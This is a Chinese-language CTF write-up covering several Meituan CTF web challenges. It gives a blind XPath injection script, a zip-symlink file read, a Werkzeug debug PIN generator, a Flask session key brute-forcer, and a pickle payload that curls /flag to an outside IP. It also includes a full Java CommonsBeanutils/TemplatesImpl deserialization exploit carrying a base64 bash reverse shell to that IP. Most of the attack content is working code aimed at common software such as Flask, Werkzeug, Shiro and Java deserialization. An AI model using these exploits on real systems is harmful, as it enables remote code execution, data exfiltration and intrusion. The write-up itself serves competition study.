MTCTF
趁大佬去打xctf,摸一把美团
babyjava
xpath注入:https://xz.aliyun.com/t/7791
根据文章进行注入即可。得到节点
/root/user/username
username第二个值即为flag。盲注脚本:
import requests
url = 'http://eci-2ze379us24j7whul5wz7.cloudeci1.ichunqiu.com:8888/hello'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}
result = ''
i = 1
charset = list('0123456789zxcvbnmasdfghjklqwertyuiopQWERTYUIOPASDFGHJKLZXCVBNM_-{}')
while (1):
left = 32
right = 128
for j in charset:
payload = {
"xpath": "'or substring(/root/user/username[position()=2], {}, 1)='{}' or ''='1".format(i, j),
}
res = requests.post(url=url, data=payload).text
# print(payload)
if 'available' not in res:
result += j
print(result)
i += 1
break
if j == '}':
exit(1)
# print('[*]Result ' + result)
#root/user/username
OnlineUnzip
经典web解压题,去年深育杯考过
很像的,软连接就OK
直接软连接根目录
ln -s / test19
zip --symlinks test19.zip
./test19e就能读取整个目录了。然后如果软连接的文件没有权限,如/root,就会报500。
然后就是经典的debug pin码
这个有个点是这题用的machine-id而不是boot-id,其实是个竞争的关系,先获取到谁就用谁。
*CTF的脚本直接用
import hashlib
from itertools import chain
# probably_public_bits = [
# 'root',# username
# 'flask.app',# modname
# 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
# '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
# ]
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'95530564636',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc[表情]lf[表情]roup
'96cec10d3d9307792745ec3b85c896203f1d8d9c4e564ca291f5b72cd6424326c961534aae7a3e053456b68563add01f'# /proc[表情]lf[表情]roup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
#106-268-216
然后就直接rce
easypickle
本来拿burpsuite爆破,2字节都能爆1h都没结果,直接完全交给学弟了。后来学弟说可以直接本地爆,改一下flask-session-manager脚本即可。我抄了一下:
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
payload = "eyJ1c2VyIjoibmRkaWQifQ.YyW4DQ.Kvx_fpyiJomEY84CYSPRoU0xYc0"
hexStr = list('0123456789abcdef')
for i in hexStr:
for j in hexStr:
for k in hexStr:
for l in hexStr:
try:
secret_key = i + j + k + l
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
print(s.loads(payload))
print(secret_key)
except Exception as e:
continue
然后秒出结果,毕竟就两字节。然后就是绕过pickle黑名单。学弟的思路:
由于它先替换os
=>Os
,所以直接拿o指令,在末尾加一个s,就能绕过检测,而且居然还能执行。我并不是很清楚其中的原理。我试过把最后一个o变大写,其他没改,好像没成功。所以直接rce了。可以拿pker工具生成pickle:1.txt
OBJ(GLOBAL('os', 'system'), 'curl http://47.96.173.116:2333/ -d @/flag')
然后再:
python3 pker.py < 1.txt
把base64解码在末尾加s即可。(当时比赛复现的并不是很成功,但是确实curl了,flag在./flag,但是反弹shell失败。。。)
easyjava
居然给我拿了一血。。。其实挺简单的,直接拿赛棍经验打XD
后来给提示需要/web路径。下载附件发现是shiro。直接用之前的shiro绕过鉴权(连鉴权代码都没看)。
/;/web/admin/hello
然后就是经典的反序列化了。有黑名单:
blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");
奇怪的是第一个traxTemplatesImpl没咋见过(盲猜写错了?TrAXFilter+TemplatesImpl?),但是TemplatesImpl挺常见的,试着拿shiro的cb依赖直接打TemplatesImpl。本地直接通了。Exp.java
package com.butler.springboot14shiro;
import com.butler.springboot14shiro.Util.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("2");
Field field2 = comparator.getClass().getDeclaredField("property");
field2.setAccessible(true);
field2.set(comparator, "outputProperties");
Field field = queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] queryArray = (Object[]) field.get(queue);
queryArray[0] = ti;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));
//InputStream inputStream = new ByteArrayInputStream(bos.toByteArray());
//MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
//myObjectInputStream.readObject();
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
然后直接post data,即可反弹shell